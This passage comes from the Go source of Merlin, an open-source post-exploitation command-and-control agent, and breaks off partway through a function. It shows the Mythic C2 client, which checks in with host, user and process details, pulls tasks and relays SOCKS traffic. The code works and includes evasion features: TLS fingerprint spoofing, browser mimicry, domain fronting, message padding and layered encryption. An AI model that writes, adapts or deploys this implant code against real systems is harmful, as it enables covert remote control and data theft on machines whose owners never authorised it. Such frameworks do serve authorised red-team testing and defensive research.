with (e.g., https://google.com/test.aspx) Proxy string // Proxy is the URL of the proxy that all traffic needs to go through, if applicable ProxyUser string // ProxyUser is the username for the proxy, if applicable ProxyPass string // ProxyPass is the password for the proxy, if applicable UserAgent string // UserAgent is the HTTP User-Agent header string that Agent will use while sending traffic Parrot string // Parrot is a feature of the github.com/refraction-networking/utls to mimic a specific browser PSK string // PSK is the Pre-Shared Key secret the agent will use to start authentication JA3 string // JA3 is a string that represents how the TLS client should be configured, if applicable Padding string // Padding is the max amount of data that will be randomly selected and appended to every message AuthPackage string // AuthPackage is the type of authentication the agent should use when communicating with the server Opaque []byte // Opaque is the byte representation of the EnvU object used with the OPAQUE protocol (future use) Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message InsecureTLS bool // InsecureTLS is a boolean that determines if the InsecureSkipVerify flag is set to true or false ClientType string // ClientType is the type of WINDOWS http client to use (e.g., WinINet, WinHTTP, etc.) } // New instantiates and returns a Client constructed from the passed in Config func New(config Config) (*Client, error) { return nil, fmt.Errorf("clients/http.New(): HTTP client not compiled into this program") } // Listen waits for incoming data on an established connection, deconstructs the data into a Base messages, and returns them func (client *Client) Listen() (returnMessages []messages.Base, err error) { err = fmt.Errorf("clients/http.Listen(): the HTTP client does not support the Listen function") return } // Send takes in a Merlin message structure, performs any encoding or encryption, and sends it to the server. // The function also decodes and decrypts response messages and returns a Merlin message structure. // This is where the client's logic is for communicating with the server. func (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) { err = fmt.Errorf("clients/http.New(): HTTP client not compiled into this program") return } // Set is a generic function used to modify a Client's field values func (client *Client) Set(key string, value string) (err error) { err = fmt.Errorf("clients/http.Set(): HTTP client not compiled into this program") return } // Get is a generic function used to retrieve the value of a Client's field func (client *Client) Get(key string) (value string) { return fmt.Sprintf("clients/http.Get(): HTTP client not compiled into this program") } // Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol // The function must take in a Base message for when the C2 server requests re-authentication through a message func (client *Client) Authenticate(msg messages.Base) (err error) { err = fmt.Errorf("clients/http.Authenticate(): HTTP client not compiled into this program") return } // Construct takes in a messages.Base structure that is ready to be sent to the server and runs all the configured transforms // on it to encode and encrypt it. Transforms will go from last in the slice to first in the slice func (client *Client) Construct(msg messages.Base) (data []byte, err error) { err = fmt.Errorf("clients/http.Construct(): HTTP client not compiled into this program") return } // Deconstruct takes in data returned from the server and runs all the Agent's transforms on it until // a messages.Base structure is returned. The key is used for decryption transforms func (client *Client) Deconstruct(data []byte) (messages.Base, error) { return messages.Base{}, fmt.Errorf("clients/http.Deconstruct(): HTTP client not compiled into this program") } // Initial contains all the steps the agent and/or the communication profile need to take to set up and initiate // communication with the server. // If the agent needs to authenticate before it can send messages, that process will occur here. func (client *Client) Initial() (err error) { err = fmt.Errorf("clients/http.Initial(): HTTP client not compiled into this program") return } // Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages // can be sent/received. func (client *Client) Synchronous() bool { return false } ================================================ FILE: clients/memory/memory.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package memory is an in-memory repository for storing and managing Merlin clients used to communicate with the Merlin // server or for peer-to-peer Agent communications package memory import ( // Standard "sync" // Internal "github.com/Ne0nd0g/merlin-agent/v2/clients" ) // Repository is the structure that implements the in-memory repository for interacting with the Agent's C2 client type Repository struct { sync.Mutex client clients.Client } // repo is the in-memory datastore var repo *Repository // NewRepository creates and returns a new in-memory repository for interacting with the Agent's C2 client func NewRepository() *Repository { if repo == nil { repo = &Repository{ Mutex: sync.Mutex{}, } } return repo } // Add stores the Merlin Agent C2 client to the repository func (r *Repository) Add(client clients.Client) { r.Lock() defer r.Unlock() r.client = client } // Get returns the current C2 Client object the Agent is using for communications func (r *Repository) Get() clients.Client { return r.client } // SetJA3 reconfigures the client's TLS fingerprint to match the provided JA3 string func (r *Repository) SetJA3(ja3 string) error { r.Lock() defer r.Unlock() return r.client.Set("ja3", ja3) } // SetListener changes the client's upstream listener ID, a UUID, to the value provided func (r *Repository) SetListener(listener string) error { r.Lock() defer r.Unlock() return r.client.Set("listener", listener) } // SetPadding changes the maximum amount of random padding added to each outgoing message func (r *Repository) SetPadding(padding string) error { r.Lock() defer r.Unlock() return r.client.Set("paddingmax", padding) } // SetParrot reconfigures the client's HTTP configuration to match the provided browser func (r *Repository) SetParrot(parrot string) error { r.Lock() defer r.Unlock() return r.client.Set("parrot", parrot) } ================================================ FILE: clients/mythic/mythic.go ================================================ //go:build mythic /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package mythic import ( // Standard "bytes" "crypto/rand" "crypto/rsa" "crypto/tls" "encoding/base64" "encoding/json" "fmt" "io" rand2 "math/rand" "net" "net/http" "net/url" "os" "strconv" "strings" "sync" "time" // 3rd Party "github.com/google/uuid" // X-Packages "golang.org/x/net/http2" // Merlin Message messages "github.com/Ne0nd0g/merlin-message" "github.com/Ne0nd0g/merlin-message/jobs" rsa2 "github.com/Ne0nd0g/merlin-message/rsa" // Internal "github.com/Ne0nd0g/merlin-agent/v2/authenticators" rsaAuthenticaor "github.com/Ne0nd0g/merlin-agent/v2/authenticators/rsa" "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/core" merlinHTTP "github.com/Ne0nd0g/merlin-agent/v2/http" "github.com/Ne0nd0g/merlin-agent/v2/http/utls" "github.com/Ne0nd0g/merlin-agent/v2/services/agent" transformer "github.com/Ne0nd0g/merlin-agent/v2/transformers" b64 "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/base64" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/gob" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/hex" mythicEncoder "github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/mythic" aes2 "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/aes" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/jwe" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/rc4" "github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/xor" ) // socksConnection is used to map the Mythic incremental integer used for tracking connections to a UUID leveraged by the agent var socksConnection = sync.Map{} // mythicSocksConnection is used to map Merlin's connection UUID to Mythic's integer server_id; Inverse of socksConnection var mythicSocksConnection = sync.Map{} // socksCounter is used to track and order the SOCKS data packets coming from Mythic var socksCounter = sync.Map{} // Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server type Client struct { Authenticator authenticators.Authenticator authenticated bool // authenticated tracks if the Agent has successfully authenticated AgentID uuid.UUID // TODO can this be recovered through reflection since client is embedded into agent? MythicID uuid.UUID // The identifier used by the Mythic framework Client merlinHTTP.Client // Client to send messages with ClientType merlinHTTP.Type Protocol string // The HTTP protocol the client will use URL string // URL to send messages to (e.g., https://127.0.0.1:443/test.php) Host string // HTTP Host header value Proxy string // Proxy string Headers map[string]string // Additional HTTP headers to add to the request UserAgent string // HTTP User-Agent value PaddingMax int // PaddingMax is the maximum size allowed for a randomly selected message padding length JA3 string // JA3 is a string that represents how the TLS client should be configured, if applicable Parrot string // Parrot is a feature of the github.com/refraction-networking/utls to mimic a specific browser psk []byte // PSK is the Pre-Shared Key secret the agent will use to start encrypted key exchange secret []byte // Secret is the current key that is being used to encrypt & decrypt data privKey *rsa.PrivateKey // Agent's RSA Private key to decrypt traffic insecureTLS bool // insecureTLS is a boolean that determines if the InsecureSkipVerify flag is set to true or false transformers []transformer.Transformer // Transformers an ordered list of transforms (encoding/encryption) to apply when constructing a message } // Config is a structure used to pass in all necessary information to instantiate a new Client type Config struct { AgentID uuid.UUID // The Agent's UUID AuthPackage string // AuthPackage is the type of authentication the agent should use when communicating with the server PayloadID string // The UUID used with the Mythic framework Protocol string // Proto contains the transportation protocol the agent is using (i.e., http2 or http3) Headers string // Headers is a new-line separated string of additional HTTP headers to add to client requests Host string // Host is used with the HTTP Host header for Domain Fronting activities URL string // URL is the protocol, domain, and page that the agent will communicate with (e.g., https://google.com/test.aspx) Proxy string // Proxy is the URL of the proxy that all traffic needs to go through, if applicable UserAgent string // UserAgent is the HTTP User-Agent header string that Agent will use while sending traffic PSK string // PSK is the Pre-Shared Key secret the agent will use to start authentication JA3 string // JA3 is a string that represents how the TLS client should be configured, if applicable Parrot string // Parrot is a feature of the github.com/refraction-networking/utls to mimic a specific browser Padding string // Padding is the max amount of data that will be randomly selected and appended to every message InsecureTLS bool // InsecureTLS is a boolean that determines if the InsecureSkipVerify flag is set to true or false Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message ClientType string // ClientType is the type of WINDOWS http client to use (e.g., WinINet, WinHTTP, etc.) } // New instantiates and returns a Client constructed from the passed in Config func New(config Config) (*Client, error) { cli.Message(cli.DEBUG, "Entering into clients.mythic.New()...") cli.Message(cli.DEBUG, fmt.Sprintf("Config: %+v", config)) client := Client{ AgentID: config.AgentID, URL: config.URL, UserAgent: config.UserAgent, Host: config.Host, Protocol: config.Protocol, Proxy: config.Proxy, JA3: config.JA3, Parrot: config.Parrot, insecureTLS: config.InsecureTLS, } // Mythic: Add payload ID var err error client.MythicID, err = uuid.Parse(config.PayloadID) if err != nil { return &client, err } // Set PSK if config.PSK != "" { client.psk, err = base64.StdEncoding.DecodeString(config.PSK) if err != nil { return &client, fmt.Errorf("there was an error Base64 decoding the PSK:\n%s", err) } client.secret = client.psk } // Set up the Authenticator switch strings.ToLower(config.AuthPackage) { case "none": return nil, fmt.Errorf("the 'none' authenticator is not supported for the Mythic client") case "opaque": return nil, fmt.Errorf("the 'opaque' authenticator is not supported for the Mythic client") case "rsa": // Generate an RSA key pair client.privKey, err = rsa.GenerateKey(rand.Reader, 4096) if err != nil { return &client, fmt.Errorf("there was an error generating the RSA key pair:\n%s", err) } client.Authenticator = rsaAuthenticaor.New(client.AgentID, *client.privKey) default: return nil, fmt.Errorf("'%s' is not a valid authenticator for the Mythic client", config.AuthPackage) } // Transformers transforms := strings.Split(config.Transformers, ",") for _, transform := range transforms { var t transformer.Transformer switch strings.ToLower(transform) { case "aes": // Ensure there is a key if config.PSK == "" || len(client.psk) <= 0 { return nil, fmt.Errorf("AES transformer requires a PSK to be set") } t = aes2.NewEncrypter() case "base64-byte": t = b64.NewEncoder(b64.BYTE) case "base64-string": t = b64.NewEncoder(b64.STRING) case "gob-base": t = gob.NewEncoder(gob.BASE) case "gob-string": t = gob.NewEncoder(gob.STRING) case "hex-byte": t = hex.NewEncoder(hex.BYTE) case "hex-string": t = hex.NewEncoder(hex.STRING) case "jwe": t = jwe.NewEncrypter() case "mythic": t = mythicEncoder.NewEncoder() case "rc4": t = rc4.NewEncrypter() case "xor": t = xor.NewEncrypter() default: err = fmt.Errorf("clients/mythic.New(): unhandled transform type: %s", transform) if err != nil { return nil, err } } client.transformers = append(client.transformers, t) } // Parse Padding Value client.PaddingMax, err = strconv.Atoi(config.Padding) if err != nil { cli.Message(cli.WARN, fmt.Sprintf("there was an error converting Padding string \"%s\" to an integer: %s", config.Padding, err)) } // Parse additional HTTP Headers if config.Headers != "" { client.Headers = make(map[string]string) for _, header := range strings.Split(config.Headers, "\n") { h := strings.Split(header, ":") if len(h) < 2 { cli.Message(cli.DEBUG, fmt.Sprintf("unable to parse HTTP header: '%s'", header)) continue } // Remove leading or trailing spaces headerKey := strings.TrimSuffix(strings.TrimPrefix(h[0], " "), " ") headerValue := strings.TrimSuffix(strings.TrimPrefix(h[1], " "), " ") cli.Message( cli.DEBUG, fmt.Sprintf("HTTP Header (%d): %s, Value (%d): %s\n", len(headerKey), headerKey, len(headerValue), headerValue, ), ) client.Headers[headerKey] = headerValue } } // Determine the HTTP client type if client.Protocol == "http" || client.Protocol == "https" { if config.ClientType == strings.ToLower("winhttp") { client.ClientType = merlinHTTP.WINHTTP } else if config.ClientType == strings.ToLower("wininet") { client.ClientType = merlinHTTP.WININET } else { client.ClientType = merlinHTTP.HTTP } } if client.Protocol == "h2" || client.Protocol == "h2c" { client.ClientType = merlinHTTP.HTTP2 } if client.Protocol == "http3" { client.ClientType = merlinHTTP.HTTP3 } // If JA3 or Parrot was set, override the client type forcing HTTP/1.1 using the uTLS client if client.JA3 != "" { client.ClientType = merlinHTTP.JA3 } else if client.Parrot != "" { client.ClientType = merlinHTTP.PARROT } // Build HTTP client config httpConfig := merlinHTTP.Config{ ClientType: client.ClientType, Insecure: client.insecureTLS, JA3: client.JA3, Parrot: client.Parrot, Protocol: client.Protocol, ProxyURL: client.Proxy, } // Get the HTTP client client.Client, err = merlinHTTP.NewHTTPClient(httpConfig) if err != nil { return &client, err } cli.Message(cli.INFO, "Client information:") cli.Message(cli.INFO, fmt.Sprintf("\tMythic Payload ID: %s", client.MythicID)) cli.Message(cli.INFO, fmt.Sprintf("\tProtocol: %s", client.Protocol)) cli.Message(cli.INFO, fmt.Sprintf("\tHTTP Client Type: %s", client.ClientType)) cli.Message(cli.INFO, fmt.Sprintf("\tAuthenticator: %s", client.Authenticator)) cli.Message(cli.INFO, fmt.Sprintf("\tTransforms: %+v", client.transformers)) cli.Message(cli.INFO, fmt.Sprintf("\tURL: %s", client.URL)) cli.Message(cli.INFO, fmt.Sprintf("\tUser-Agent: %s", client.UserAgent)) cli.Message(cli.INFO, fmt.Sprintf("\tHTTP Host Header: %s", client.Host)) cli.Message(cli.INFO, fmt.Sprintf("\tHTTP Headers: %s", client.Headers)) cli.Message(cli.INFO, fmt.Sprintf("\tProxy: %s", client.Proxy)) cli.Message(cli.INFO, fmt.Sprintf("\tPayload Padding Max: %d", client.PaddingMax)) cli.Message(cli.INFO, fmt.Sprintf("\tJA3 String: %s", client.JA3)) cli.Message(cli.INFO, fmt.Sprintf("\tParrot String: %s", client.Parrot)) cli.Message(cli.INFO, fmt.Sprintf("\tInsecure TLS: %t", client.insecureTLS)) return &client, nil } // Authenticate executes the configured authentication method sending the necessary messages to the server to // complete authentication. // This function takes in a Base message for when the server returns information to continue // the process or needs to re-authenticate. func (client *Client) Authenticate(msg messages.Base) (err error) { cli.Message(cli.DEBUG, "Entering into clients.mythic.Authenticate()...") cli.Message(cli.DEBUG, fmt.Sprintf("Input Merlin message base:\n%+v", msg)) client.authenticated = false var authenticated bool // Repeat until authenticator is complete and Agent is authenticated for { msg, authenticated, err = client.Authenticator.Authenticate(msg) if err != nil { return } // An empty message was received indicating to exit the function if msg.Type == 0 { return } // Once authenticated, update the client's secret used to encrypt messages if authenticated { client.authenticated = true var key []byte key, err = client.Authenticator.Secret() if err != nil { return } // Don't update the secret if the authenticator returned an empty key if len(key) > 0 { client.secret = key } // Mythic returns a new UUID after authentication has been completed client.MythicID = msg.ID cli.Message(cli.SUCCESS, fmt.Sprintf("%s authentication completed", client.Authenticator)) return } // Send the message to the server var msgs []messages.Base msgs, err = client.Send(msg) if err != nil { return } // Add a response message to the next loop iteration if len(msgs) > 0 { msg = msgs[0] } // If the Agent is authenticated, exit the loop and continue if authenticated { return } } } // Listen waits for incoming data on an established connection, deconstructs the data into a Base messages, and returns them func (client *Client) Listen() (returnMessages []messages.Base, err error) { err = fmt.Errorf("clients/mythic.Listen(): the Mythic HTTP client does not support the Listen function") return } // Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages // can be sent/received. func (client *Client) Synchronous() bool { return false } // Send takes in a Merlin message structure, performs any encoding or encryption, and sends it to the server // The function also decodes and decrypts response messages and return a Merlin message structure. // This is where the client's logic is for communicating with the server. func (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) { cli.Message(cli.DEBUG, "Entering into clients.mythic.Send()...") cli.Message(cli.DEBUG, fmt.Sprintf("input message base:\n%+v", m)) // Set the message padding if client.PaddingMax > 0 { m.Padding = core.RandStringBytesMaskImprSrc(rand2.Intn(client.PaddingMax)) } cli.Message(cli.DEBUG, fmt.Sprintf("Added message padding size: %d", len(m.Padding))) payload, err := client.Construct(m) if err != nil { err = fmt.Errorf("there was an error converting the Merlin message to a Mythic message:\n%s", err) return } // File Transfer messages are recursively processed and completed through the prior call to convertToMythicMessage() // Therefore, we can return here // If there was more than one job in the message, the returned "payload" will not be empty if m.Type == messages.JOBS && len(payload) == 0 { j := m.Payload.([]jobs.Job) for _, v := range j { if v.Type == jobs.FILETRANSFER { f := j[0].Payload.(jobs.FileTransfer) // When true, the AGENT is downloading the file to the Server; the operator issued the "download" command if f.IsDownload { returnMessages = append(returnMessages, messages.Base{ID: client.AgentID, Type: messages.IDLE}) return } } } } // Build the request req, err := http.NewRequest("POST", client.URL, bytes.NewReader(payload)) if err != nil { err = fmt.Errorf("there was an error building the HTTP request:\n%s", err) return } // Add HTTP headers if req != nil { req.Header.Set("User-Agent", client.UserAgent) if client.Host != "" { req.Host = client.Host } } for header, value := range client.Headers { req.Header.Set(header, value) } // Send the request cli.Message(cli.DEBUG, fmt.Sprintf("Sending POST request size: %d to: %s", req.ContentLength, client.URL)) cli.Message(cli.DEBUG, fmt.Sprintf("HTTP Request:\n%+v", req)) cli.Message(cli.DEBUG, fmt.Sprintf("HTTP Request Payload:\n%+v", req.Body)) resp, err := client.Client.Do(req) if err != nil { err = fmt.Errorf("there was an error sending a message to the server:\n%s", err) return } cli.Message(cli.DEBUG, fmt.Sprintf("HTTP Response:\n%+v", resp)) // Process the response // Check the status code switch resp.StatusCode { case 200: default: err = fmt.Errorf("there was an error communicating with the server:\n%d", resp.StatusCode) return } // Check to make sure message response contained data if resp.ContentLength == 0 { err = fmt.Errorf("the response message did not contain any data") return } // Read the response body respData, err := io.ReadAll(resp.Body) if err != nil { err = fmt.Errorf("there was an error reading the HTTP payload response message:\n%s", err) return } return client.Deconstruct(respData) } // Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent func (client *Client) Initial() (err error) { cli.Message(cli.DEBUG, "Entering into clients.mythic.Initial()...") as := agent.NewAgentService() a := as.Get() // Mythic requires a specific agent Checkin message format after authentication // Build an initial checkin message checkIn := CheckIn{ Action: "checkin", IP: selectIP(a.Host().IPs), OS: a.Host().Platform, User: a.Process().UserName, Host: a.Host().Name, Process: a.Process().Name, PID: a.Process().ID, PayloadID: client.MythicID.String(), // Need to set now because it will be changed to tempUUID from RSA key exchange Arch: a.Host().Architecture, Domain: a.Process().Domain, Integrity: a.Process().Integrity, } // Authenticate the Agent err = client.Authenticate(messages.Base{}) if err != nil { return } // Send checkin message base := messages.Base{ ID: client.AgentID, Type: messages.CHECKIN, Payload: checkIn, } _, err = client.Send(base) return } // Set is a generic function used to modify a Client's field values func (client *Client) Set(key string, value string) error { cli.Message(cli.DEBUG, "Entering into clients.mythic.Set()...") cli.Message(cli.DEBUG, fmt.Sprintf("Key: %s, Value: %s", key, value)) var err error switch strings.ToLower(key) { case "ja3": ja3String := strings.Trim(value, "\"'") client.Client, err = getClient(client.Protocol, client.Proxy, ja3String, client.Parrot, client.insecureTLS) if ja3String != "" { cli.Message(cli.NOTE, fmt.Sprintf("Set agent JA3 signature to:%s", ja3String)) } else if ja3String == "" { cli.Message(cli.NOTE, fmt.Sprintf("Setting agent client back to default using %s protocol", client.Protocol)) } client.JA3 = ja3String case "paddingmax": client.PaddingMax, err = strconv.Atoi(value) case "parrot": parrot := strings.Trim(value, "\"'") client.Client, err = getClient(client.Protocol, client.Proxy, client.JA3, parrot, client.insecureTLS) if parrot != "" { cli.Message(cli.NOTE, fmt.Sprintf("Set agent HTTP transport parrot to:%s", parrot)) } else if parrot == "" { cli.Message(cli.NOTE, fmt.Sprintf("Setting agent client back to default using %s protocol", client.Protocol)) } client.Parrot = parrot default: err = fmt.Errorf("unknown mythic client setting: %s", key) } return err } // Get is a generic function that is used to retrieve the value of a Client's field func (client *Client) Get(key string) string { cli.Message(cli.DEBUG, "Entering into clients.mythic.Get()...") cli.Message(cli.DEBUG, fmt.Sprintf("Key: %s", key)) switch strings.ToLower(key) { case "ja3": return client.JA3 case "paddingmax": return strconv.Itoa(client.PaddingMax) case "parrot": return client.Parrot case "protocol": return client.Protocol default: return fmt.Sprintf("unknown mythic client configuration setting: %s", key) } } // getClient returns an HTTP client for the passed protocol, proxy, and ja3 string func getClient(protocol string, proxyURL string, ja3 string, parrot string, insecure bool) (*http.Client, error) { cli.Message(cli.DEBUG, "Entering into clients.mythic.getClient()...") cli.Message(cli.DEBUG, fmt.Sprintf("Protocol: %s, Proxy: %s, JA3 String: %s, Parrot: %s", protocol, proxyURL, ja3, parrot)) /* #nosec G402 */ // G402: TLS InsecureSkipVerify set true. (Confidence: HIGH, Severity: HIGH) Allowed for testing // Setup TLS configuration TLSConfig := &tls.Config{ MinVersion: tls.VersionTLS12, InsecureSkipVerify: insecure, // #nosec G402 - intentionally configurable to allow self-signed certificates. See https://github.com/Ne0nd0g/merlin/issues/59 CipherSuites: []uint16{ tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, }, } // Proxy proxyFunc, errProxy := getProxy(protocol, proxyURL) if errProxy != nil { return nil, errProxy } // JA3 if ja3 != "" { transport, err := utls.NewTransportFromJA3(ja3, insecure, proxyFunc) if err != nil { return nil, err } return &http.Client{Transport: transport}, nil } // Parrot - If a JA3 string was set, it will be used, and the parroting will be ignored if parrot != "" { // Build the transport transport, err := utls.NewTransportFromParrot(parrot, insecure, proxyFunc) if err != nil { return nil, err } return &http.Client{Transport: transport}, nil } var transport http.RoundTripper switch strings.ToLower(protocol) { case "h2": TLSConfig.NextProtos = []string{"h2"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids transport = &http2.Transport{ TLSClientConfig: TLSConfig, } case "h2c": transport = &http2.Transport{ AllowHTTP: true, DialTLS: func(network, addr string, cfg *tls.Config) (net.Conn, error) { return net.Dial(network, addr) }, } case "https": TLSConfig.NextProtos = []string{"http/1.1"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids transport = &http.Transport{ TLSClientConfig: TLSConfig, MaxIdleConns: 10, Proxy: proxyFunc, IdleConnTimeout: 1 * time.Nanosecond, } case "http": transport = &http.Transport{ MaxIdleConns: 10, Proxy: proxyFunc, IdleConnTimeout: 1 * time.Nanosecond, } default: return nil, fmt.Errorf("%s is not a valid client protocol", protocol) } return &http.Client{Transport: transport}, nil } // Deconstruct takes in a byte array that is unmarshalled from a JSON structure to Mythic structure, and // then it is subsequently converted into a Merlin messages.Base structure func (client *Client) Deconstruct(data []byte) (returnMessages []messages.Base, err error) { cli.Message(cli.DEBUG, "Entering into clients.mythic.Deconstruct()...") // Transforms for _, t := range client.transformers { var ret any if t.String() == "mythic" { ret, err = t.Deconstruct(data, []byte(client.MythicID.String())) data = ret.([]byte) } else { ret, err = t.Deconstruct(data, client.secret) data = ret.([]byte) } if err != nil { err = fmt.Errorf("there was an error transforming the Mythic message:\n%s", err) return } } cli.Message(cli.DEBUG, fmt.Sprintf("Decrypted JSON:\n%s", data)) // Determine the action, so we know what structure to unmarshal to var action string if bytes.Contains(data, []byte("\"action\":\"checkin\"")) { action = CHECKIN } else if bytes.Contains(data, []byte("\"action\":\"get_tasking\"")) { action = TASKING } else if bytes.Contains(data, []byte("\"action\":\"post_response\"")) { action = RESPONSE } else if bytes.Contains(data, []byte("\"action\":\"staging_rsa\"")) { action = RSAStaging } else if bytes.Contains(data, []byte("\"action\":\"upload\"")) { action = UPLOAD } else { err = fmt.Errorf("message did not contain a known action:\n%s", data) return } returnMessage := messages.Base{ ID: client.AgentID, Type: messages.IDLE, } // Logic for processing or converting Mythic messages cli.Message(cli.DEBUG, fmt.Sprintf("Action: %s", action)) switch action { case CHECKIN: var msg Response // Unmarshal the JSON message err = json.Unmarshal(data, &msg) if err != nil { err = fmt.Errorf("there was an error unmarshalling the JSON object in the message handler:\n%s", err) return } if msg.Status == "success" { cli.Message(cli.SUCCESS, "Initial checkin successful") client.MythicID = uuid.MustParse(msg.ID) return } err = fmt.Errorf("unknown checkin action status:\n%+v", msg) return case RSAStaging: // https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/initial-checkin#eke-by-generating-client-side-rsa-keys var msg rsa2.Response err = json.Unmarshal(data, &msg) if err != nil { err = fmt.Errorf("there was an error unmarshalling the JSON object to mythic.RSAResponse in the message handler:\n%s", err) return } returnMessage.Type = messages.KEYEXCHANGE returnMessage.Payload = msg returnMessages = append(returnMessages, returnMessage) case TASKING: var msg Tasks // Unmarshal the JSON message err = json.Unmarshal(data, &msg) if err != nil { err = fmt.Errorf("there was an error unmarshalling the JSON object to mythic.Tasks in the message handler:\n%s", err) return } // If there are any tasks/jobs, add them if len(msg.Tasks) > 0 { cli.Message(cli.DEBUG, fmt.Sprintf("returned Mythic tasks:\n%+v", msg)) returnMessage, err = client.convertTasksToJobs(msg.Tasks) if err != nil { return } returnMessages = append(returnMessages, returnMessage) } // SOCKS5 if len(msg.SOCKS) > 0 { // There is SOCKS data to send to the SOCKS server returnMessage, err = client.convertSocksToJobs(msg.SOCKS) if err != nil { cli.Message(cli.WARN, err.Error()) } if len(returnMessage.Payload.([]jobs.Job)) > 0 { returnMessages = append(returnMessages, returnMessage) } } case RESPONSE: // https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-post_response var msg ServerPostResponse err = json.Unmarshal(data, &msg) if err != nil { err = fmt.Errorf("there was an error unmarshalling the JSON object to a mythic.ServerTaskResponse structure in the message handler:\n%s", err) return } // SOCKS5 if len(msg.SOCKS) > 0 { // There is SOCKS data to send to the SOCKS server returnMessage, err = client.convertSocksToJobs(msg.SOCKS) if err != nil { cli.Message(cli.WARN, err.Error()) } if len(returnMessage.Payload.([]jobs.Job)) > 0 { returnMessages = append(returnMessages, returnMessage) } } cli.Message(cli.DEBUG, fmt.Sprintf("post_response results from the server: %+v", msg)) for _, response := range msg.Responses { if response.Error != "" { cli.Message(cli.WARN, fmt.Sprintf("There was an error sending a task to the Mythic server:\n%+v", response)) } if response.FileID != "" { cli.Message(cli.DEBUG, fmt.Sprintf("Mythic FileID: %s", response.FileID)) if response.Status == "success" { job := jobs.Job{ AgentID: client.AgentID, ID: response.ID, Type: DownloadSend, Payload: response.FileID, } returnMessage.Type = messages.JOBS returnMessage.Payload = []jobs.Job{job} returnMessages = append(returnMessages, returnMessage) } } if response.Status == "success" && response.ID != "" { returnMessage.Token = response.ID returnMessage.Type = messages.IDLE returnMessages = append(returnMessages, returnMessage) } } return default: err = fmt.Errorf("unknown Mythic action: %s", action) return } return } // Construct takes in Merlin message base, converts it into to a Mythic message JSON structure, // encrypts it, prepends the Mythic UUID, and Base64 encodes the entire string func (client *Client) Construct(m messages.Base) ([]byte, error) { cli.Message(cli.DEBUG, "Entering into clients.mythic.Construct()...") cli.Message(cli.DEBUG, fmt.Sprintf("Input Merlin message base:\n %+v", m)) var err error var data []byte switch m.Type { case messages.CHECKIN: // Send the very first checkin message if m.Payload != nil { msg := m.Payload.(CheckIn) msg.Padding = m.Padding // Marshal the structure to a JSON object data, err = json.Marshal(msg) if err != nil { return []byte{}, fmt.Errorf("there was an error marshalling the mythic.CheckIn structrong to JSON:\n%s", err) } } else { // Merlin had no responses to send back task := Tasking{ Action: TASKING, Size: -1, Padding: m.Padding, } // Marshal the structure to a JSON object data, err = json.Marshal(task) if err != nil { return []byte{}, fmt.Errorf("there was an error marshalling the mythic.CheckIn structure to JSON:\n%s", err) } } case messages.JOBS: returnMessage := PostResponse{ Action: RESPONSE, Padding: m.Padding, SOCKS: []Socks{}, Responses: []ClientTaskResponse{}, } // Convert Merlin jobs to mythic response for _, job := range m.Payload.([]jobs.Job) { var response ClientTaskResponse if job.ID != "" { response.ID = uuid.MustParse(job.ID) } response.Completed = true cli.Message(cli.DEBUG, fmt.Sprintf("Converting Merlin job type: %d to Mythic response", job.Type)) switch job.Type { case jobs.RESULT: response.Output = job.Payload.(jobs.Results).Stdout if job.Payload.(jobs.Results).Stderr != "" { response.Output += job.Payload.(jobs.Results).Stderr response.Status = StatusError } returnMessage.Responses = append(returnMessage.Responses, response) case jobs.AGENTINFO: info, err := json.Marshal(job.Payload) if err != nil { response.Output = fmt.Sprintf("there was an error marshalling the AgentInfo structure to JSON:\n%s", err) response.Status = StatusError } response.Output = string(info) returnMessage.Responses = append(returnMessage.Responses, response) case jobs.FILETRANSFER: f := job.Payload.(jobs.FileTransfer) // Download https://docs.mythic-c2.net/customizing/hooking-features/download if f.IsDownload { // DownloadInit - Get FileID from Mythic // 1. PostResponse - Added in the convertToMythicMessage() function on the switch for DownloadSend // 2. ClientTaskResponse // 3. FileDownload fm := FileDownload{ NumChunks: 1, FullPath: f.FileLocation, } ctr := ClientTaskResponse{ ID: response.ID, Download: &fm, } downloadMessage := messages.Base{ ID: client.AgentID, Type: DownloadInit, Payload: ctr, } resp, err := client.Send(downloadMessage) if err != nil { return []byte{}, 